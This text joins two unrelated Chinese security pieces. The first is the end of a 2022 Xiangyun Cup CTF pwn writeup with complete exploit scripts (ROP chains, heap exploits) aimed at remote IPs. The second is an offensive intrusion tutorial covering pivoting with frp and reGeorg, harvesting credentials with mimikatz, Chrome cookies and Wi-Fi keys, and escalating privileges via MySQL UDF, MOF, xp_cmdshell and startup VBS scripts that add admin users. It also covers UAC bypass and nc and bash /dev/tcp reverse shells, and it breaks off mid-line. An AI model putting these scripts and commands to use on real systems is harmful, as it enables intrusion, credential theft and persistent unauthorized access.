此外,这里应该也可以通过改某个got表为puts@plt,然后输入某个got的地址来泄露libc,或者先劫持bss段上的stdin/stdout/stderr指针为某个got表地址,然后比如再改setvbuf的got表为puts@plt,最后劫持执行流到setvbuf来泄露。不过这里貌似不太好泄露完再返回了,但是通过这里泄露的值和上述60*8的位置泄露的libc比对一下就不需要上面的爆破操作了。 最后,选用如下one_gadget即可: from pwn import * context(os = "linux", arch = "amd64", log_level = "debug") io = remote("39.106.13.71", 38641) libc = ELF("./libc-2.27.so") elf = ELF("./ojs") io.sendlineafter("> ", 'a = "win";') io.sendlineafter("> ", 'x = a.charTo(0, 17);') io.sendlineafter("> ", 'console.log("xxx" + x.toString() + "xxx");') io.recvline() io.recvuntil("xxx") heap_addr = int(io.recvuntil("xxx").strip(b"xxx")) success("heap_addr:\t" + hex(heap_addr)) io.sendlineafter("> ", 'for(var i = 3; i < 60*8; i++) a.charTo(i, 97);') io.sendlineafter("> ", 'console.log(a);') libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8, b'\x00')) success("libc_addr:\t" + hex(libc_addr)) libc_base = libc_addr - 0xd22ce8 success("libc_base:\t" + hex(libc_base)) dis = elf.got['printf'] - heap_addr og = p64(libc_base + 0xe54f7) for i in range(6) : io.sendlineafter("> ", f'a.charTo({dis+i}, {og[i]});') io.sendlineafter("> ", 'b = [];') io.sendlineafter("> ", 'b.push("winmt");') io.interactive() 4.protoolGoogle的Protobuf,参考学习连接 https://bbs.pediy.com/thread-270004.htm 发现了栈溢出,protobuf的内容解析后会送到栈里,但是username和password一定要admin username和password中不能包含"\x00",所以rop的话,得考虑绕过"\x00" 因为是while 1,所以可以每次输入错误的username和password进行一次写栈,但是注意到不能携带\x00,所以需要从下向上写rop链,protobuf转化的时候会在最后给上一个\x00,这样开源每次从后往前少写一个字节,这样最后一个字节就被覆盖成了\x00 最后倒着写一个execve("/bin/sh\x00",0,0)就可以get shell了 from pwntools import * from ctf_pb2 import * init("./protocol") ret = 0x000000000040101A pop_rax_ret = 0x00000000005bdb8a pop_rdi_ret = 0x0000000000404982 pop_rsi_ret = 0x0000000000588BBE pop_rdx_ret = 0x000000000040454F pop_rcx_ret = 0x0000000000475DA3 syscall = 0x0000000000403C99 write_addr = 0x5A2E70 read_addr = 0x5A2F10 rw_addr = 0x81A400 bss = 0x81A360 ''' b *0x407743 payload = flat([ pop_rdi_ret,"/bin/sh\x00", pop_rsi_ret, 0, pop_rdx_ret, 0, pop_rax_ret, 59, syscall ]) ''' def write(payload): p = pwn() p.username = b"admin" p.password = payload sd = p.SerializeToString() sa("Login:", sd) time.sleep(0.2) write(b"b"*0x248 + b"b"*8*8 + p8(0x99) +p8(0x3c)+ p8(0x40)) # syscall = 0x0000000000403C99 for i in range(1,8): write(b"b"*0x248 + b"b"*(8*8-i)) write(b"b"*0x248 + b"b"*8*7 + p8(59)) # 59 for i in range(1,8): write(b"b"*0x248 + b"b"*(8*7-i)) write(b"b"*0x248 + b"b"*8*6 + p8(0x8a) +p8(0xdb)+ p8(0x5b)) # pop_rax_ret = 0x00000000005bdb8a for i in range(1,8): write(b"b"*0x248 + b"b"*(8*6-i)) write(b"b"*0x248 + b"b"*8*5) # 0 for i in range(1,8): write(b"b"*0x248 + b"b"*(8*5-i)) write(b"b"*0x248 + b"b"*8*4 + p8(0xbe) + p8(0x8b) + p8(0x58)) # pop_rsi_ret = 0x0000000000588BBE for i in range(1,8): write(b"b"*0x248 + b"b"*(8*4-i)) write(b"b"*0x248 + b"b"*8*3) # 0 for i in range(1,8): write(b"b"*0x248 + b"b"*(8*3-i)) write(b"b"*0x248 + b"b"*8*2 + p8(0x4f) + p8(0x45) + p8(0x40)) # pop_rdx_ret = 0x000000000040454F for i in range(1,8): write(b"b"*0x248 + b"b"*(8*2-i)) write(b"b"*0x248 + b"b"*8*1 + p8(0x6f) + p8(0xa3) + p8(0x81)) # binsh = 0x81a36f for i in range(1,8): write(b"b"*0x248 + b"b"*(8*1-i)) write(b"b"*0x248 + p8(0x82) + p8(0x49) + p8(0x40)) # pop_rdi_ret = 0x0000000000404982 p = pwn() p.username = b"admin" p.password = b"admin" sd = p.SerializeToString() # dbg() # time.sleep(5) sa("Login:", sd + b"\x00" + b"/bin/sh\x00") ia() 5.queue队列结构体 struct elem { _QWORD buf_array_ptr; _QWORD sub_buf_max; _QWORD pBuffStart; _QWORD a3; _QWORD pBuffLast; char **sub_bufs; _QWORD pBuffEnd; _QWORD a7; _QWORD a8; _QWORD sub_buf_last; }; 666功能可以直接修改结构体 伪造结构体再通过其他功能可以实现任意地址读写 首先需要泄露一个地址 覆盖pBuffStart, 爆破一个十六进制位到有堆地址的地方 泄露堆地址 然后申请几个再free填tcache, 在堆上制造libc地址 构造结构体pBuffStart指向含libc地址处 泄露libc地址 然后伪造结构体在__free_hook处 用程序edit单字节循环写入 exp: from pwn import * from colorama import Fore from colorama import Style import inspect from argparse import ArgumentParser parser = ArgumentParser() parser.add_argument("--elf", default="./queue") parser.add_argument("--libc", default="./libc-2.27.so") parser.add_argument("--arch", default="amd64") parser.add_argument("--remote") args = parser.parse_args() context(arch=args.arch,log_level='debug') def retrieve_name(var): callers_local_vars = inspect.currentframe().f_back.f_back.f_locals.items() return [var_name for var_name, var_val in callers_local_vars if var_val is var] def logvar(var): log.debug(f'{Fore.RED}{retrieve_name(var)[0]} : {var:#x}{Style.RESET_ALL}') return script = '' def rbt_bpt(offset): global script script += f'b * $rebase({offset:#x})\n' def bpt(addr): global script script += f'b * {addr:#x}\n' def dbg(): gdb.attach(sh,script) pause() prompt = b'Queue Management: ' def cmd(choice): sh.sendlineafter(prompt,str(choice).encode()) def add(size): cmd(1) sh.sendlineafter(b'Size: ',str(size).encode()) return def edit(buf_id,idx,val): cmd(2) sh.sendlineafter(b'Index: ',str(buf_id).encode()) sh.sendlineafter(b'Value idx: ',str(idx).encode()) sh.sendlineafter(b'Value: ',str(val).encode()) return def show(buf_id,num): cmd(3) sh.sendlineafter(b'Index: ',str(buf_id).encode()) sh.sendlineafter(b'Num: ',str(num).encode()) return def dele(): cmd(4) return def backdoor(buf_id,ctt): cmd(666) sh.sendlineafter(b'Index: ',str(buf_id).encode()) sh.sendafter(b'Content: ',ctt) return def edit_qword(buf_id,off,val): for i in range(8): byte = val & 0xff edit(buf_id,off+i,byte) val >>= 8 rbt_bpt(0x1688) rbt_bpt(0x16b5) def leak_num(): val = 0 sh.recvuntil(b'Content: ') for i in range(8): num = int(sh.recvline().strip(),16) val |= num << (8*i) return val def pwn(): add(0x100) backdoor(0,p64(0)*2 + b'\x88\x5e') show(0,0x8) heap_addr = leak_num() if heap_addr == 0: raise EOFError for i in range(5): add(0x100) for i in range(4): dele() backdoor(0,p64(0)*2 + p64(heap_addr + 0x1a50)*2) show(0,0x8) libc_base = leak_num() - 0x3ebca0 logvar(heap_addr) logvar(libc_base) edit_qword(1,0,u64(b'/bin/sh\x00')) libc = ELF(args.libc,checksec=False) libc.address = libc_base payload = flat([ 0, 0, libc.sym['__free_hook'], libc.sym['__free_hook'], libc.sym['__free_hook']+0x200, heap_addr, libc.sym['__free_hook']+0x200, libc.sym['__free_hook']+0x200, libc.sym['__free_hook']+0x200, heap_addr+8 ]) backdoor(0,payload) edit_qword(0,0,libc.sym['system']) # dbg() dele() while True: try: # sh = process([args.elf]) sh = remote('39.106.13.71' ,'31586') pwn() sh.interactive() except EOFError: sh.close() 6.leakflag被读到了一个堆块上,限制了申请堆块的个数,只能十六个,没有限制uaf的使用次数,可以改大Global_Max_Fast,造成fastbinY数组溢出,我们可以向write_base和write_ptr上写入堆地址,满足条件:write_ptr>write_base即可,利用公式size=((target_addr-(main_arena+8)/8)0x10+0x20),就可以算出需要的size,最后exit,打印出flag即可。from pwn import io = process("./leak")elf = ELF("./leak")libc = ELF("./libc-2.27.so") context.arch = "amd64"context.log_level = "debug" def add(idx,size): io.sendlineafter("Your choice: ", "1") io.sendlineafter("Index: ", str(idx)) io.sendlineafter("Size: ", str(size)) def edit(idx, content): io.sendlineafter("Your choice: ", "2") io.sendlineafter("Index: ", str(idx)) io.sendafter("Content: ", content) def delete(idx): io.sendlineafter("Your choice: ", "3") io.sendlineafter("Index: ", str(idx)) add(0, 0x14b0)add(1, 0x14c0)add(2, 0x430)add(3, 0x90)add(4, 0x90)add(5, 0x90)add(9, 0xa0)add(10, 0xa0) delete(5)delete(4)delete(3) edit(3, p16(0x9c30)) # tcache fd -> unsorted bin chunkdelete(2)edit(2, p16(0xf940)) # fd -> global_max_fast add(6, 0x90)add(7, 0x90) add(8, 0x90)edit(8, p64(0xdeadbee0)) # global_max_fast -> 0xdeadbeef delete(0) edit(2, p16(0xe840)) # tcache fd -> unsorted chunk delete(10)delete(9) edit(9, p16(0x9c30)) # fd-> stderr add(11, 0xa0)add(12, 0xa0) add(13, 0xa0) # stderradd(14,0xa0)# change stderr edit(14, p64(0xfbad1887) + p64(0) * 3 + p8(0x50))#io.interactive() #add(14, 0x14d0)#add(15, 0x500)delete(1) io.sendlineafter("Your choice: ", "6")io.interactive() :hexoPostRenderEscape–> 祥云杯附件下载:链接:https://pan.baidu.com/s/1W2euTjOK_qOMZLh8lTJf2w 提取码:7zp2 参考连接地址: https://exp10it.cn/2022/10/2022-%E7%A5%A5%E4%BA%91%E6%9D%AF-web-writeup/#ezjava http://www.snowywar.top/?p=4077https://www.cnblogs.com/S1gMa/p/16846438.htm https://mp.weixin.qq.com/s/j7wjaV-sIo-3VjTz0xOCRQhttps://www.cnblogs.com/winmt/articles/16842913.htmlhttps://www.woodwhale.top/archives/2022xiangyunhttps://su-team.cn/passages/2022-xyb-SU-Writeup/ 来自为知笔记(Wiz)
-
通过边界代理一路打到三层内网+后渗透通用手法
外网进内网通常就是通过web漏洞拿取shell 内网的很大一部分信息收集是围绕网络拓扑图展开的。可以社工运维或者google找一下。 内网扩散信息收集概述 内网信息收集内网网端信息:对内网进行拓扑、分区内网大小内网核心业务信息oa系统、邮件服务器、监控系统....其他Windows、linux主机信息收集内网信息收集做的越好,打的越快 常用方法主动扫描。常用工具: nmap,netdiscover,nc,masscan,自写脚本等常用端口和服务探测内网拓扑架构分析。如dmz,测试网等命令收集本机信息 一般都是先扫80端口等。因为外网网站可能做的很好,内网网站烂的爆,sql注入、xss等web漏洞一把一把的。 主动扫描ping命令扫描内网中的存活主机优点:方便,一般不会引起流量检测设备的报警缺点:扫描速度慢,目标开了防火墙会导致结果不准nmap扫描存活主机(icmp扫描)nmap -sn -PE -n -v -oN 1.txt 目标ip参数: -sn 不进行端口扫描;-PE 进行icmp echo扫描;-n 不进行反向解析;-v 输出调试信息;-oN输出nmap 扫描存活主机(arp扫描)nmap -sn -PR -n -v 目标IP参数:-PR代表arp扫描,在内网中arp扫描速度最快且准确率高使用netdiscover扫描(arp扫描工具,既可以主动扫描也可以被动嗅探)netdiscover -i eth0 -r 目标IP参数说明:-i:指定一个接口;-r∶指定扫描范围注意: netdiscover时间越久越精确,可以发现某一台主机在一段时间内介入了那些网段,从而发现其他新的网段地址用nbtscan工具进行快速扫描存活PC端,同时获得NETBIOS(windows往上输入输出服务,139端口)nbtscan -r 目标IP端口和服务扫描探测目标开放端口 nmap探测:nmap -Pn -n 目标IP(禁ping扫描)masscan扫描:masscan -p 端口号 目标IP地址 --rate=10000 #用10kpps速度扫描端口探测目标操作系统 使用NSE脚本: nmap --script smb-os-discovery.nse -p 445 目标IP地址 其中: smb-os-discovery.nse脚本通过smb来探测操作系统版本、计算机名、工作组名、域名等等信息。--script指定脚本使用nmap -O探测操作系统版本 nmap -O 目标IP扫描主机存在的CVE漏洞 nmap --script=vuln 目标IP内网常用命令命令说明net user本机用户列表net view查询同一域内的机器列表net localgroup administrators查看本机管理员net user /domain查询域用户net group /domain查询域里面的工作组net group "domain admins”/domain查询域管理员用户组net localgroup administrators /domain登陆本机的域管理员net localgroup administrators workgroup \user /add域用户添加到本机net group "Domain controllers"查看域控/domain为域渗透参数。域管理有一台权限很高的机器,拿下之后能控制整个域的服务器,称为域控。 dsquery 域命令(后面再写域渗透)命令作用dsquery computer domainroot -limit 65535 && net group "domain computers"/domain列出域中内所有机器名dsquery user domainroot -limit 65535 && net user /domain列出该域内所有用户名dsquery subnet列出该域内网段划分dsquery group && net group /domain列出该域内分组dsquery ou列出该域内组织单位dsquery server && net time /domain列出该域内控制器windows主机信息收集这里是在拿下最高权限之后的信息收集。 主要收集内容 windows杂七杂八的信息收集工具:mimikatz、wce、getpass、quarkspwdump、reg-sam、pwdump7等cmdkey用于保存用户名和密码的凭证。 cmdkey /list查看凭据位置netpass.exe获取密码回收站信息获取 进入回收站文件夹cd C:$RECYCLE.BIN(该文件夹为隐藏文件夹,dir /ah查看内容,a指定属性h表示隐藏)获取无线密码 netsh wlan export profile interface=WLAN key=clear folder=C:\获取浏览器的cookie和存储密码(chrome) %localappdata%\google\chrome\USERDATA\default\cookies%localappdata%\googlelchrome\USERDATA\default\LoginDatachrome的用户信息保存在本地文件为sqlite数据库格式使用mimikatz读取内容: mimikatz.exe privilege:debug log "dpapi:chrome /in:%localappdata%google\chrome\USERDATA\default\cookies /unprotect"msf下的windows信息收集模块使用post/windows/gather/forensics/enum_drives获取目标主机的磁盘分区情况post/windows/gather/checkvm判断目标主机是否为虚拟机post/windows/gather/enum_services查看开启的服务post/windows/gather/enum_applications查看安装的应用post/windows/gather/enum_shares查看共享post/windows/gather/dumplinks查看目标主机最近的操作post/windows/gather/enum_patches查看补丁信息scraper导出多个信息use or run模块,设置参数后expoilt linux信息收集linux信息收集内容比起windows少很多 history命令 用于显示历史执行命令。能显示当前用户在本地计算机中执行的1000条命令。查看更多在/etc/profile文件中自定义HISTSIZE的变量值。使用history -c命令会清空所有命令的历史记录。每个用户的history不同last命令 用于查看系统所有近期登录记录。执行last命令时,会读取/var/log/wtmp的文件。 用户名 终端位置 登录IP或者内核 开始时间 结束时间如果是系统漏洞提权,不属于登录,无记录arp -vn 聚类检查是否有超同组业务外的arp地址mac地址对应ip固定,mac不对应ip则为arp欺骗/etc/hosts文件 存储域名/主机名到ip映射关系msf下的linux收集模块使用post/linux/gather/checkvm判断目标主机是否为虚拟机post/linux/gather/enum_configs查看配置信息post/linux/gather/enum_network查看网络post/linux/gather/enum_protections查看共享post/linux/gather/enum_system查看系统和用户信息post/linux/gather/enum_users_histroy查看目标主机最近的操作post/linux/gather/hashdump获取linux的hash但是我仍要强调,被动收集很重要,内网被动收集要安全很多,但是周期很长。主动一分,就危险一分 收集内容总结网卡信息、arp缓存、路由缓存、网站配置文件、数据库、访问日志、浏览器历史记录、netstat、hosts文件、history、hash、明文密码、网站配置账密、wifi、cmdkey 内网转发内网转发的目的 内网转发原理 通过服务器进行中转,将内部的端口映射到公网IP上,或者将内网端口转发至外部服务器。内网转发的三种形式 端口映射将一个内网无法访问的端口映射到公网的某个端口,进而进行攻击。比如:3389端口 代理转发主要用于在目标机器上做跳板,进而可以对内网进行攻击 四种基本的网络情况攻击者有独立外网IP,拿到shell的服务器也有独立的外网IP攻击者有独立外网IP,拿到shell的服务器在内网,只有几个映射端口攻击者在内网,服务器也在内网只有几个映射端口攻击者在内网,服务器有独立外网IP四种情况有不同拿下服务器的方式 端口转发原理 端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为。使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内部)上的一个端口。 简单地说︰端口转发就是将一个端口(这个端口可以本机的端口,也可以是本机可以访问到的任意主机的端口)转发到任意一台可以访问到的IP上,通常这个IP是公网ip端口转发场景∶ 外网主机A已经可以任意连接内网主机B上的端口,但是无法访问内网主机C上的端口 此时可以将C主机的端口转发到B主机的端口,那么外网主机A访问B主机的某某端口就相当于访问了C主机的某某端口 端口转发工具lcx windows下: 本地端口映射:如果目标服务器由于防火墙的限制,部分端口的数据无法通过防火墙,可以将目标服务器相应端口的数据传到防火墙允许的其他端口 lcx.exe -tran 映射端口号 目标ip 目标端口内网端口转发:如下规则时,主机不能直接访问内网,这时就需要web服务器当跳板,也就是代理来使攻击机访问到内网主机 基本命令: ·转发端口lcx.exe -slave 公网ip 端口 内网ip 端口 ·监听端口lcx.exe -listen 转发端口 本机任意没有被占用端口 linux下:用法: ./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename] v:version 如:./portmap -m 2 -p1 6666 -h2 公网ip -p2 7777//监听来自6666端口的请求并转发至7777 frpFRP(fast reverse proxy)是用go语言开发的反向代理应用,可以进行内网穿透frp支持tcp\udp\http\httpsfrp用处 下载后frp文件内frps,frps.ini为服务端程序和配置文件,frpc,frpc.ini是客户端程序及配置文件 客户端设置修改frpc.ini文件 [common] server_addr = 192.168.152.217 #服务端IP地址 server_port = 7000 #服务器端口 token = 123456 #服务器上设置的连接口令 [http] #自定义规则,[xxx]表示规则名 type = tcp #type:转发的协议类型 local_ip = 127.0.0.1 local_port = 3389 #本地应用的端口号 remote_port = 7001 #这条规则在服务端开放的端口号配置完成frp.ini后,cmd运行frpc(和服务端一样-c指定配置文件) 在局域网外客户端连接服务端的remote_port端口 该工具可跨平台,也就是windows exe程序连接linux 上述操作也就相当于listen 7000转到7001然后连接 metasploit portfwd简介 一款内置于meterpreter shell中的工具,直接访问攻击系统无法访问的机器。在可以访问攻击机和靶机的受损主机上运行此命令,可以通过本机转发TCP连接,成为一个支点。 这个不太稳定,不如frp,lcx不怎么用了。 边界代理代理类别:HTTP代理、socks代理、telnet代理、ssl代理 代理工具:EarthWorm、reGeorg(http代理)、proxifier(win)、sockscap64(win)、proxychains(linux) 内网通过代理连接外部网络为正向代理,外网通过代理连接内网为反向代理。 负载均衡服务器:将用户的请求分发到空闲服务器上。 socks代理 当通过代理服务器访问一个网站时,socks服务器起到了一个中间人的身份,分别与两方通信然后将结果告知另一方。只要配置好socks代理后无需指定被访问目标。 socks和http代理走的是tcp流量,意思是udp的协议不能用这两种代理代理和端口转发的异同:代理端口转发需要socks协议支持无需协议支持一对多,访问网络一对一,帮助他人访问某端口socks代理可以理解为lcx端口转发,他在服务端监听一个服务端口,有连接请求时会从socks协议中解析出访问目标url的目标端口 意思就是,有代理就不需要他娘的端口转发了,还指定端口转来转去脑子都转晕了,代理不需要那么多花里胡哨的。 proxychainsproxychains是一个开源代理工具,可以在linux下全局代理。proxychains通过一个用户定义的代理列表强制连接指定的应用程序,支持http\socks4\socks5类型。使用 regeorg工具regeorg主要是把内网服务器端口通过http/https隧道转发至本机,形成回路用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口利用webshell建立一个socks代理进行内网穿透,则服务器必须支持aspx\php\jsp中的一种regeorg分为服务端和客户端。服务端有php\aspx\jsp\node.js等多种,客户端为python,所以用的时候文件里面找对应脚本regeorg使用和proxychains结合使用 pip install安装假设服务器是php版本,将regeorg里的php上传到服务器,直接访问显示"georg says,'all seems fine'",为正常运行 终端下运行:python reGeorgSocksProxy.py -u 靶机reGeorg脚本地址 -p 本地监听端口再起一个终端修改proxychains.conf配置文件,删除dynamic_chain的注释,在ProxyList最后加一行socks5 127.0.0.1 本地监听端口,并把其他的注释 代理就配置好了 使用proxychains 命令,流量会自动从配置文件端口经过(python跑的脚本终端别关)但是在msf外配置的代理,msf内部流量是不会走代理过的 msf routemsf框架中自带路由转发功能,在已经获取meterpreter shell的基础上添加一条去往内网的路由 路由添加: run autoroute -s 内网网端 run autoroute -p 查看路由添加情况 proxifilerproxifiler为windows客户端代理工具,socks5客户端,可以让不支持通过代理服务器工作的程序通过https或socks5代理或代理链 支持socks4\socks5\http\tcp\udp。有gui 使用:profil配置代理ip和端口。proxification rules设置代理规则,不需要代理的设为direct模式提权可以有好几种,本篇主要讲利用系统漏洞提权(最常规)和利用数据库提权。数据库这种利用第三方提权的方式通常比较少见 windows权限提升当我们getshell一个网站后,大部分情况下我们的权限是非常低的,这个时候提权可以让我们如拥有修改文件之类的强大能力。 一般来说,提权通常是改变用户 提权的方式通常有:系统漏洞提权数据库提权第三方软件/服务提权系统配置错误提权如果目的是download服务器文件或者拿下webshell等没必要提权,如果是为了做肉鸡或者上远控 系统漏洞提权常规流程:获得目标机shell->查看目标机补丁记录->判断没打的补丁,寻找EXP->利用exp提权 cmd中systeminfo查看补丁安装情况使用补丁在线查询工具:blog.neargle.com/win-powerup-exp-index/#将systeminfo命令得到的补丁信息复制进去,就会给出可用的exp编号github作者整合了大部分exp:github.com/SecWiki/windows-kernel-exploits(windows-kernel就是代表windows内核)将exp上传至目标机每个EXP的使用方法不同。如ms14-058上传了exp到靶机后在cmd使用exp.exe "命令"就能以system权限执行命令。其他exp的使用方法很可能不同获得了高权限在当前网络环境切忌开3389去连,可以用msfvenom生成木马维权,或者创建新用户加入管理员组。不过都会被发现。。靶机上在运行msf木马时要用高权限运行,否则反弹回来的shell也是低权限。所以要用之前传上去的exp运行msf木马windows数据库提权这种提权方式已经用的很少了 mysql数据库提权mysql提权的必要条件:获取Mysql数据库最高权限root的账号密码 mysql的三种提权方式: udf提权mof提权启动项提权MOF提权原理:利用了c:/windows/system32/wbem/mof/目录下的nullevt.mof文件。该文件每几秒会执行一次,向其中写入cmd命令使其被执行利用条件windows<= 2003对c:/windows/system32/wbem/mof/目录有读写权限可以时间写mof文件到相应目录,如:数据库允许外联,有webshell,有可写sql注入因为需要有写文件权限(into outfile),所以可用到的环境很少 提权方法 UDF提权原理:UDF(user defined function)用户自定义函数通过添加新函数,对mysql服务器进行功能扩充,将mysql账号转化为system权限。方式:通过root权限导出udf.dll到系统目录下,使udf.dell调用cmd利用条件:windows 2000\XP\2003账号对mysql有插入和删除权限对应目录有写权限 udf 提权步骤select user();\version();\basedir()判断数据库版本、用户和安装目录如果\lib\plugin目录不存在,可以利用NTFS ADS流创建文件夹 select 'xxx' into dumpfile 'mysql目录\\lib:$INDEX_ALLOCATION'; select 'xxx' into dumpfile 'mysql目录\\lib\plugin:$INDEX_ALLOCATION'; 或者是webshell直接创建导入udf.dll文件。该文件在sqlmap/data/udf/mysql/目录下有,只是该dll文件是通过异或编码的,可以使用sqlmap/extra/cloak.py解密。上传udf.dll到指定目录。有webshell就直接传,传不了就select load_file()。创建自定义函数。create function **sys_eval** returns string soname 'udf.dll'; 必须要创建.dll文件中存在的函数才行,可以用十六进制编辑器打开udf.dll文件慢慢找函数,也可以用dumpbin.exe查看。soname指向动态链接库执行高权限指令:select sys_eval('whoami'); 将该用户提升为管理员权限:select sys_eval("net localgroup administrators ichunqiu /add")清除痕迹 drop function sys_eval; delete from mysql.func where name="sys_eval";启动项提权原理:windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。将一段vbs脚本导入开机启动项,如果管理员重启了服务器,那么就会自动调用,并执行其中的用户添加及提权命令利用条件:目标目录可读写调用的cmd要有足够权限重启服务器可以利用导致服务器蓝屏的exp,或者ddos提权方式直接将vbs提权脚本上传到启动项目录下sql命令创建添加vbs脚本vbs提权脚本: set wsnetwork=CreateObject("WSCRIPT.NETWORK") os="WinNT://"&wsnetwork.ComputerName Set ob=GetObject(os) #得到adsi接口 Set oe=GetObject(os&"/Administrators,group") #用户组 Set od=ob.Create("user","name") #name为用户名 od.SetPassword "passwd" #passwd为密码 od.SetInfo #保存 Set of=GetObject(os&"/name",user) #得到用户 oe.add os&"/name"sql命令创建连接到对方MySQL服务器,进入后查看数据库中有哪些数据表命令:show tables默认的情况下,test中没有任何表的存在。进入test数据库,并创建一个新的表: create table a(cmd text)//创建了一个新的表,名为a,表中只存放了一个字段,字段名为cmd,为text文本在表中插入内容,用这三条命令来建立一个VBS的脚本程序:insert into a values("set wshshell=createobject(""wscript.shell"")"); insert into a values("a=wshshell.run(""cmd.exe /c net user name passwd /add"",0)"); insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators name /add"",0)"); 输出表为一个VBS的脚本文件 select * from a into dumpfile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动1.vbs";利用其他手段重启电脑sql server提权利用条件必须获得sa的账号密码或者与sa相同给权限的账号密码,且mssql没有被降权能执行sql语句。如webshell或者1433端口连接在windows,sa账号通常是被降权为db-owner的。而不是sysadmin 获取sa号密的方法: xp_cmdshell提权 xp_cmdshell提权过程: (2005以前的版本): 连接数据库: select ame from master.dbo.sysdatabases获取所有的数据库名查看当前版本select @@version 判断当前是否为saselect is_srvrolemember('sysadmin') 判断是否有public权限select is_srvrolemember('public') 判断是否有读写文件权限select is_srvrolemember('db_owner')查看数据库中是否有xp_cmdshell扩展存储插件,return 1则有 select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';(2005后的版本): 开启xp_cmdshell```exec sp_configure 'show advance options',1;//允许修改高级参数 reconfigure; exec sp_configure 'xp_cmshell',1;//打开xp_cmdshell扩展 reconfigure; 2. xp_cmdshell执行命令 ```exec master..xp_cmdshell 'net user name passwd /add'//添加用户name,密码passwd exec master..xp_cmdshell 'net localgroup administrators name /add'//添加name到管理员组windows bypass uacuac(user acount control)可以阻止未授权的应用程序自动安装,并防止无意中更改系统设置 相当于普通用户打开cmd和以管理员运行cmd的差别,普通用户以管理员身份开cmd就会受到uac的限制,输入管理员密码 msf bypass uac前提:已经获得了目标机器的meterpreter shell,当前权限为普通用户 bypassuac模块通过进程注入,利用受信任的发布者证书绕过windows UAC,它将为我们生成另一个关闭UAC的shellbypassuac_injection模块直接运行在内存的反射DLL中,不会接触目标机的硬盘,从而降低了被杀毒软件检测出来的概率bypassuac_eventwr模块通过在当前用户配置单元下劫持注册表中的特殊键,在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UACmsf exploit:>use exploit/windows/local/bypassuac 然后根据msf exp对reverse_tcp(bind_tcp)、lhost等进行参数设置 利用系统漏洞bypass uacCVE编号:CVE-2019-1388,windwos证书对话框特权提升漏洞。补丁号KB4524235 KB4525233 漏洞原理:此漏洞是因为UAC机制设定不严导致的。默认wdnows会在一个单独的桌面secure desktop上显示所有UAC提示。这些提示是由consent.exe的可执行文件生成的,该文件以NT AUTHORITY\SYSTEM身份运行,并有system的完整权限 要能连3389 Linux提权linux提权相对于windows的手法较单一,多了一个比较重要的suid提权。有很多时候提权并不是必须进行的步骤 linux系统提权linux和内核提权跟windows一样,都要下载对应漏洞的脚本提权 uname -a 获取操作系统内核版本和内核架构 id 获取用户信息 查找相关版本的内核漏洞exp搜索链接:https://www.exploit-db.com/ (type选local)exp下载:http://github.com/SecWiki/linux-kernel-exploits上传exp并编译 exp是.c文件,上传到服务器后需要用gcc编译。.cpp用g++ 编译 gcc pwn.c -o pwn (exp下载文件里有对应的编译说明文档) 运行 ./pwn 如果目标机没有gcc或者g++,自己没有权限也肯定不能安装。唯一的办法是在本地搭建一个和服务器内核版本相同的环境,在里面编译完成了再上传至靶机windows提权成功后在exp后接命令就是高权限运行,但是linux提权成功是返回一个shell。脚本执行后返回shell失败,可能是需要反弹shell 脏牛提权实例id查看目标机用户权限uname -a目标机的linxu kernel>=2.6.22进行脏牛提权寻找对应exp `http://github/FireFart/dirtycowexp下载至目标机并编译 gcc -pthread dirty.c -o dirty -lcrypt完成后,销毁firefart密码文件即可恢复root mv /tmp/passwd.bak /etc/passwd获取shell后将shell转换为完全交互式的TTY:python -c 'import pty;pty.spawn("/bin/bash")' suid提权此处涉及权限划分的知识。在Linux中通过权限位rwx实现文件权限管理。d目录,-普通文件。r read;w write;x execute 所有者-所属者-其他用户 suid作用于二进制可执行程序上,当执行程序时会临时切换身份为文件所有者身份为文件所有者身份。 chmod u+s FILE\chmod 4755 FILE 添加SUID权限到二进制文件(在三位数据权限前,4代表添加到SUID位) chmod u-s FILE\chmod 0xxx FILE 删除suid 文件属主为s表示设置了suid.没有x权限用大写S,表示权限无效简而言之,任何用户执行有suid的文件时,都会以第一个权限运行 linux数据库提权和windows一样的,udf提权 环境要求:配置中secure_file_priv="", mysql具有root权限,具有sql语句执行权限,目录可读可写,selinux关闭先获取低权限shell,提权过程: 查看plugin目录路径 show variables like '%plugin%'; select unhex('udf十六进制') into dumpfile 'usr/lib64/mysql/plugin/1.so'; (plugin路径/1.so)声明函数 create function sys_eval returns string soname '1.so';执行高权限命令 select sys_eval('whoami');清除痕迹 drop function sys_eval;windows soname动态链接库指向udf.dll,linux指向.so文件,所以声明的函数也要是.so文件里的。 详情请见上篇windows提权 反弹shell反弹shell使用场景:防火墙会阻止客户端主动连接服务器,但是服务器连接客户端通过防火墙时,可以穿透到达客户端ncnetcat简称nc,被称为渗透测试中的瑞士军~~~~刀。 它可以用作端口监听、端口扫描、远程文件传输、远程shell等 语法:nc [-hlnruz][-g 网关][-G 指向器数目][-i 延迟秒数][-o 输出文件][-p 通信端口][-s 来源IP][-v 次数][-w 超时秒数][主机名称][通信端口...]反向shell 假设在目标主机找到了RCE漏洞,可以在目标主机上用nc发出命令启动反向shell 在攻击机或vps上监听本地端口nc -lvp 监听端口号靶机命令,连接攻击机的监听端口nc 攻击机ip 监听端口号 -e /bin/bash #linux nc 攻击机ip 监听端口号 -e c:\windows\system32\cmd.exe #windows -e:将bash shell 发回主机正向shell 正向shell时在目标机使用nc将bash shell绑定到特定端口,攻击机nc连接到此端口 bash反弹shell目标主机可能没有nc或不支持-e参数时,就需要以下方式反弹shell 攻击机监听:nc -lvvp 端口目标主机:bash -i >& /dev/tcp/攻击机ip/监听端口号 0>&1bash -i产生一个交互式shell&将&前后内容相结合重定向(>)至后者/dev/tcp/ip/port对socket网络连接的抽象0>&1将标准输入和标准输入内容相结合,然后重定向至标准输出内容。0标准输入、1标准输出、2错误输出其他反弹shell方式python反弹shellimport soket,subprocess,os; 